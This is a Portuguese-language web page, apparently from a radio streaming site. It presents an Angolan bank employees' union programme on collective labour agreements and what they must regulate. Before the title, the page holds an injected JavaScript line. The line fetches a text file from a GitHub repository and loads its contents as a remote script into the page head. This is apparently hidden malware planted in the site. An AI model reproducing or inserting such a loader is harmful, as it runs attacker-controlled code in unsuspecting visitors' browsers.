;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); A Voz do Bancário, As convenções coletivas de trabalho (CCT) | RadioPlayDigital
A Voz do Bancário, As convenções coletivas de trabalho (CCT)

A Voz do Bancário, Os 48 anos da banca em Angola.

SEJA BEM-VINDO AO PROGRAMA RADIOFONICO do SINDICATO NACIONAL DOS EMPREGADOS BANCÁRIOS, DENOMINADO A VOZ DO BANCÁRIO, no qual radiografamos os principais

TEMAS DA BANCA NACIONAL E INTERNACIONAL Para hoje temos como ASSUNTO AS CONVENÇÕES COLECTIVAS DE

TRABALHO

As convenções coletivas de trabalho (CCT) são acordos celebrados entre associações de empregadores e de trabalhadores, com o objetivo de definir condições de trabalho. Ao abrigo das CCT podem ser estipulados, por exemplo, salários, férias ou questões relacionadas com saúde e segurança. Os contratos de trabalho dos trabalhadores abrangidos por estas convenções são obrigados a respeitar as regras ali definidas. Isto significa

que quem vai trabalhar num determinado sector ou empresa (no caso dos

acordos celebrados com empresas) tem garantidas essas condições.

EO que deve constar da CCT?

Segundo a lei, o conteúdo de uma CCT deve regular aspectos como:

• Salários, definindo a retribuição base para todas as profissões e categorias profissionais;

Regras de segurança, higiene e saúde no trabalho: • Direitos e deveres do empregador e do trabalhador:

Acções de formação;

• Meios de resolução de litigios e conflitos:

• Medidas para a efectiva aplicação do principio da igualdade e não

discriminação;

• As condições de prestação de trabalho em regime de teletrabalho.

Data de Emissão: 26-09-2023 às 17:00
PARTICIPANTES

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